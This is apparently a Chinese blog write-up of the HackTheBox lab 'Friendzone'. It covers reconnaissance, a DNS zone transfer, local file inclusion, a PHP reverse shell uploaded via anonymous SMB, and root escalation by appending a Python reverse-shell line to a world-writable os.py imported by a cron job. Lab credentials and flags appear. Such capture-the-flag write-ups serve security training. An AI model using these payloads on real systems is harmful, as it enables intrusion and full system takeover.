HackTheBox - Friendzone Write Up

IP:10.10.10.123

OS:Linux

DIFFICULTY:Easy

0x01 Information Gathering

端口扫描+指纹识别

naabu -host 10.10.10.123 -p 1-65535 -c 200 --rate 2500 -nmap-cli 'nmap -sV -sC -T4'

                  __
  ___  ___  ___ _/ /  __ __
 / _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/

                projectdiscovery.io

[INF] Current naabu version 2.1.5 (outdated)
[INF] Running host discovery scan
[INF] Running SYN scan with CAP_NET_RAW privileges
[INF] Found 7 ports on host 10.10.10.123 (10.10.10.123)
10.10.10.123:22
10.10.10.123:139
10.10.10.123:80
10.10.10.123:443
10.10.10.123:445
10.10.10.123:21
10.10.10.123:53
[INF] Running nmap command: nmap -sV -sC -T4 -p 22,139,80,443,445,21,53 10.10.10.123
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-11 22:48 CST
Nmap scan report for bogon (10.10.10.123)
Host is up (0.47s latency).

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a96824bc971f1e54a58045e74cd9aaa0 (RSA)
|   256 e5440146ee7abb7ce91acb14999e2b8e (ECDSA)
|_  256 004e1a4f33e8a0de86a6e42a5f84612b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_http-title: 404 Not Found
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -59m59s, deviation: 1h43m54s, median: 0s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-05-11T14:49:04
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2023-05-11T17:49:04+03:00
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.51 seconds

Web信息收集

访问页面后显示如下页面,得到邮箱info@friendzoneportal.red,可能该网站的域名为friendzoneportal.red

# 80 端口
http://10.10.10.123/

# 443 端口
https://10.10.10.123/

443页面提示证书错误,查看证书信息得到域名friendzone.red 、邮箱账号haha@friendzone.red

接下来,修改hosts配置,将获取到的所有域名信息添加进去

echo 10.10.10.123 friendzone.red friendzoneportal.red >> /etc/hosts

再次进行访问,页面如下

目录扫描

1.扫描80端口的目录

dirsearch -u http://10.10.10.123/ -x 403 -r

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/10.10.10.123/-_23-05-09_21-59-12.txt

Error Log: /root/.dirsearch/logs/errors-23-05-09_21-59-12.log

Target: http://10.10.10.123/

[21:59:12] Starting: 
[22:00:25] 200 -  324B  - /index.html                                       
[22:00:25] 200 -   11KB - /index.bak                                        
[22:00:48] 200 -   13B  - /robots.txt                                       
[22:01:03] 200 -  747B  - /wordpress/     (Added to queue)                  
[22:01:06] Starting: wordpress/                                              
                                                                             
Task Completed

分别进行访问

http://friendzone.red/index.bak

# 修改后缀后在本地浏览器中打开
mv index.bak index.html

http://friendzone.red/robots.txt

http://friendzone.red/wordpress/

2.扫描443端口的目录

dirsearch -u https://10.10.10.123/ -x 403
  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/friendzone.red/-_23-05-11_23-46-13.txt

Error Log: /root/.dirsearch/logs/errors-23-05-11_23-46-13.log

Target: https://friendzone.red/

[23:46:15] Starting: 
[23:46:24] 301 -  315B  - /js  ->  https://friendzone.red/js/     (Added to queue)
[23:46:50] 301 -  318B  - /admin  ->  https://friendzone.red/admin/     (Added to queue)
[23:46:51] 200 -  742B  - /admin/                                           
[23:46:51] 200 -  742B  - /admin/?/login                                    
[23:47:31] 200 -  238B  - /index.html                                       
[23:47:33] 200 -  922B  - /js/

分别进行访问

https://friendzone.red/js/
https://friendzone.red/js/js

判断以下内容使用了base64编码Y1FwRDhjTjJyaDE2ODM4MjA0MjhmRUZHczV6cVNj

进行解码操作,得到以下信息,暂不知道其作用

cQpD8cN2rh1683820428fEFGs5zqSc

https://friendzone.red/admin/

历史漏洞搜索,暂未发现可利用的信息

0x02 Exploitation

在进行端口收集时,发现开放了445端口的SMB服务,尝试进行爆破,发现允许匿名登录(Anonymous)

hydra -L Username.txt -P Password.txt 10.10.10.123 smb -t 4

由于不知道 SMB 共享的名称,可以使用 smbmap 工具来扫描目标主机上可用的 SMB 共享

发现只有generalDevelopment两个目录可以访问,前者只能读取,后者可读可写

smbmap -H 10.10.10.123

还可以使用nmap,扫描结果会更加详细一些,建议使用nmap进行扫描

nmap -sV -T4 --script smb-enum-shares.nse -p 445 10.10.10.123
PORT    STATE SERVICE     VERSION                                                                                                                                                                             
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)                                                                                                                                         
Service Info: Host: FRIENDZONE                                                                                                                                                                                
                                                                                                                                                                                                              
Host script results:                                                                                                                                                                                          
| smb-enum-shares:                                                                                                                                                                                            
|   account_used: guest                                                                                                                                                                                       
|   \\10.10.10.123\Development:                                                                                                                                                                               
|     Type: STYPE_DISKTREE                                                                                                                                                                                    
|     Comment: FriendZone Samba Server Files                                                                                                                                                                  
|     Users: 0                                                                                                                                                                                                
|     Max Users: <unlimited>
|     Path: C:\etc\Development
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.10.123\Files: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files /etc/Files
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\etc\hole
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.10.10.123\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (FriendZone server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.10.123\general: 
|     Type: STYPE_DISKTREE
|     Comment: FriendZone Samba Server Files
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\etc\general
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.10.123\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

然后使用smbclient 命令行工具连接到这些共享,其中发现general目录中存在creds.txt

smbclient //10.10.10.123/general -U anonymous

使用以下命令进行查看,根据这个文本文件的内容,判断该文件内容可能是smb、ssh、web服务的账号密码

more creds.txt
creds for the admin THING:

admin:WORKWORKHhallelujah@#

/tmp/smbmore.1wP8o8 (END)

Development目录中未发现文件

smbclient //10.10.10.123/Development -U anonymous


接下来尝试对53端口的dns服务进行漏洞探测,首先使用以下命令进行DNS域传送漏洞检测

dig @10.10.10.123 friendzone.red axfr
dig @10.10.10.123 friendzoneportal.red axfr

通过该漏洞得到以下新的域名信息

administrator1.friendzone.red
uploads.friendzone.red
admin.friendzoneportal.red
files.friendzoneportal.red
imports.friendzoneportal.red
vpn.friendzoneportal.red

将获取的域名添加到/etc/hosts

10.10.10.123 friendzone.red friendzoneportal.red administrator1.friendzone.red uploads.friendzone.red admin.friendzoneportal.red files.friendzoneportal.red imports.friendzoneportal.red vpn.friendzoneportal.red

分别进行访问:

https://friendzoneportal.red/

https://administrator1.friendzone.red

https://uploads.friendzone.red

https://admin.friendzoneportal.red

https://files.friendzoneportal.red

https://imports.friendzoneportal.red

https://vpn.friendzoneportal.red


接下来尝试使用在SMB服务中获取到的账号密码登录以下页面

https://administrator1.friendzone.red
admin:WORKWORKHhallelujah@#

根据页面提示访问以下页面,提示需要添加参数

https://administrator1.friendzone.red/dashboard.php

根据页面提示添加以下图片参数,结果页面提示Final Access timestamp is 1683826511

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp

再次修改具体的时间戳

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=1683826511

根据页面提示Something went worng ! , the script include wrong param !(包含了错误的参数),判断pagename的值可能不是指定时间戳,而是指定具体路径,此处可能存在本地文件包含漏洞,接下来尝试进行漏洞测试:

注意:login.php页面在不登录的情况下直接访问会提示以下信息

首先尝试包含登录页面,输入login.php发现页面没有发生变化

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=login.php

输入login 页面发生了改变,页面下方出现了Wrong !的提示,这证明login.php页面被包含到此处了,此处可以判断确实存在本地文件包含漏洞

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=login

接下来尝试使用php伪协议去读取php源码进行进一步分析

# 读取login.php的源码
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/read=convert.base64-encode/resource=login

接下来读取dashboard.php的源码,根据代码逻辑分析,确实该页面在pagename参数中自动添加了.php的后缀,所以这也就是为什么刚才访问login.php页面没反应,而输入login页面就显示Wrong !的原因了

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/read=convert.base64-encode/resource=dashboard

接下来尝试结合前期获取的SMB服务中有可写权限的Development目录,通过该目录写入shell,然后通过此处的文件包含漏洞进行利用

|   \\10.10.10.123\Development:                                                                                                                                                                               
|     Type: STYPE_DISKTREE                                                                                                                                                                                    
|     Comment: FriendZone Samba Server Files                                                                                                                                                                  
|     Users: 0                                                                                                                                                                                                
|     Max Users: <unlimited>
|     Path: C:\etc\Development
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE

接下来进行验证:

1.本地创建info.php,写入以下内容

<?php phpinfo();?>

2.连接smb并上传info.php至Development目录

smbclient //10.10.10.123/Development -U admin

WORKWORKHhallelujah@#

put info.php

3.通过pagename指定此目录的文件进行访问

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/info

4.再次写入rev.php进行反弹shell,内容如下

<?php $sock = fsockopen("10.10.14.33", "65002"); $descriptorspec = array(0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open("/bin/sh", $descriptorspec, $pipes); proc_close($process); ?>

5.将rev.php文件上传至Development目录

smbclient //10.10.10.123/Development -U admin

WORKWORKHhallelujah@#

put rev.php

6.开启nc监听并访问rev.php

nc -nvlp 65002

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/rev

7.查看目标是否存在python环境,如果存在则切换成pty的shell, 交互性会更好一些

which python python2 python3

# 此处的python2 环境执行失败
python2 -c 'import pty; pty.spawn("/bin/bash")'

# python3 环境执行成功
python3 --version
python3 -c 'import pty; pty.spawn("/bin/bash")'

8.查找user.txt,发现该文件在friend用户的目录中

0x03 Privilege Escalation

1.www-data 提升至 friend权限

/var/www/mysql_data.conf中发现了friend用户的密码,

虽然是数据库的,但此处可以考虑SSH密码复用,直接通过SSH进行登录

ssh friend@10.10.10.123

Agpyu12!0.213$

获取user的flag

cat root.txt

flag: 2392f6b92fc582e6e446cb13d9f97380

2.friend 提升至 root权限

首先上传linpeas.sh进行信息收集

./linpeas.sh > output.txt

信息收集结果没有检测到可以直接进行利用的CVE漏洞,需要人工对扫描结果进行逐一分析

1.在通常为空的/opt目录当中发现存在server_admin文件夹

╔══════════╣ Unexpected in /opt (usually empty)
total 12                                                                                                                                                        
drwxr-xr-x  3 root root 4096 Sep 13  2022 .
drwxr-xr-x 22 root root 4096 Sep 13  2022 ..
drwxr-xr-x  2 root root 4096 Sep 13  2022 server_admin

进入该目录后,发现存在reporter.py文件,这个脚本导入了OS模块并定义了两个变量:to_address和from_address,分别存储电子邮件的目标地址和发件人地址。然后,它使用print语句输出一条消息来显示正在尝试发送电子邮件到目标地址

friend@FriendZone:~$ cd /opt
friend@FriendZone:/opt$ ls
server_admin
friend@FriendZone:/opt$ cd server_admin/
friend@FriendZone:/opt/server_admin$ ls
reporter.py
friend@FriendZone:/opt/server_admin$ cat reporter.py 
#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer

在server_admin目录中执行pspy,查看下reporter.py是否与root的定时任务有关系

Pspy是一个命令行工具,用于在不需要root权限的情况下窥探进程。它允许您在其他用户运行的命令、cron任务等执行时查看它们。该工具通关循环遍历/proc下的值来获取进程参数信息。

pspy:https://github.com/DominicBreuker/pspy

# 将本地的pspy上传至靶机中
scp pspy64 friend@10.10.10.123:/tmp/
pass: Agpyu12!0.213$

chmod +x /tmp/pspy64 && /tmp/pspy64

在进程监控中果然发现了定时任务,每2分钟会去执行2次reporter.py

2.在当前用户拥有或每个人都可以写的有趣的文件扫描结果中,os.pyc文件引起了我的注意

pyc是一种二进制文件,是由Python文件经过编译后所生成的文件,它是一种byte code,Python文件变成pyc文件后,加载的速度有所提高,而且pyc还是一种跨平台的字节码,由Python的虚拟机来执行的,就类似于Java或者.NET的虚拟机的概念。pyc的内容与Python的版本是相关的,不同版本编译后的pyc文件是不同的,例如2.5版本编译的是pyc文件,而2.4版本编译的Python是无法执行的

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files                                                                                    
/dev/mqueue                                                                                                                                                     
/dev/shm
/etc/Development
/etc/Development/info.php
/etc/Development/rev.php
/etc/Development/shell.php
/etc/Development/test.php
/etc/sambafiles
/home/friend
/run/lock
/run/user/1000
/run/user/1000/gnupg
/run/user/1000/systemd
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/usr/lib/python2.7
/usr/lib/python2.7/os.py
/usr/lib/python2.7/os.pyc
/var/lib/php/sessions
/var/mail/friend
/var/spool/samba
/var/tmp

进入/usr/lib/python2.7/目录进一步分析,首先os.py的权限为777,也就是任何用户都可以读写执行该文件,而os.pyc只有root用户可以读和写,其他低权限用户只能读取

friend@FriendZone:/opt/server_admin$ cd /usr/lib/python2.7/
friend@FriendZone:/usr/lib/python2.7$ ls -al os*
-rwxr-xr-x 1 root root  4635 Apr 16  2018 os2emxpath.py
-rwxr-xr-x 1 root root  4507 Oct  6  2018 os2emxpath.pyc
-rwxrwxrwx 1 root root 26124 May 12 07:25 os.py
-rw-r--r-- 1 root root 25926 May 12 07:26 os.pyc

根据上述得到的信息,整理利用思路:

os.py是777的权限,所以我们可以直接在os.py的末尾追加python反弹shell的代码,但是添加后直接运行反弹的shell还是friend的权限,这是因为我们使用的低权限的用户执行的这个脚本,需要等待root权限运行的python脚本来调用os库,那样就可以获得root权限的shell

/opt/server_admin/reporter.py 中调用了os库,并且以root权限每2分钟调用执行2次,而当Python解释器尝试导入模块时,它会首先查找已编译的.pyc文件,如果发现匹配的文件,则优先加载该文件而不是源代码。这意味着如果恶意.pyc文件位于Python搜索路径中并且与标准库或其他常见模块具有相同的名称,则Python解释器可能会加载该文件,即使该文件包含恶意代码。

那么,如何重新生包含恶意代码的**.pyc**文件呢?

如果 os.py 文件的修改时间比对应的 os.pyc 文件要新,那么执行 python os.py 命令时就会重新生成新的 os.pyc 文件。如果对应的 .pyc 文件不存在,或者其修改时间晚于对应的 .py 文件,Python 解释器就会首先编译 .py 文件生成 .pyc 文件,然后再执行 .pyc 文件中的代码。因此,如果你执行了 python os.py 命令,并且 os.pyc 文件的修改时间比 os.py 文件旧,那么 Python 解释器会重新生成新的 os.pyc 文件。

具体利用步骤:

# 1.追加反弹shell的命令
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.33",65004));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' >> os.py

# 2.执行os.py生成新的os.pyc
python2 os.py

# 3.开启nc监听 等待定时任务的执行
nc -nvlp 65004

# 4.获得 root 的flag
cat root.txt
flag: 53a3fe5441b1541a0aab1d0acabd8d3b



如果您觉得我的文章有帮助到您,也可以点赞、留言或者分享给更多人哦。
这样可以让更多的人看到我们的交流,并且可以激励我继续完成更多靶场WP。
非常感谢您的支持和鼓励,期待能够与您继续保持联系。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Gh0stX

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值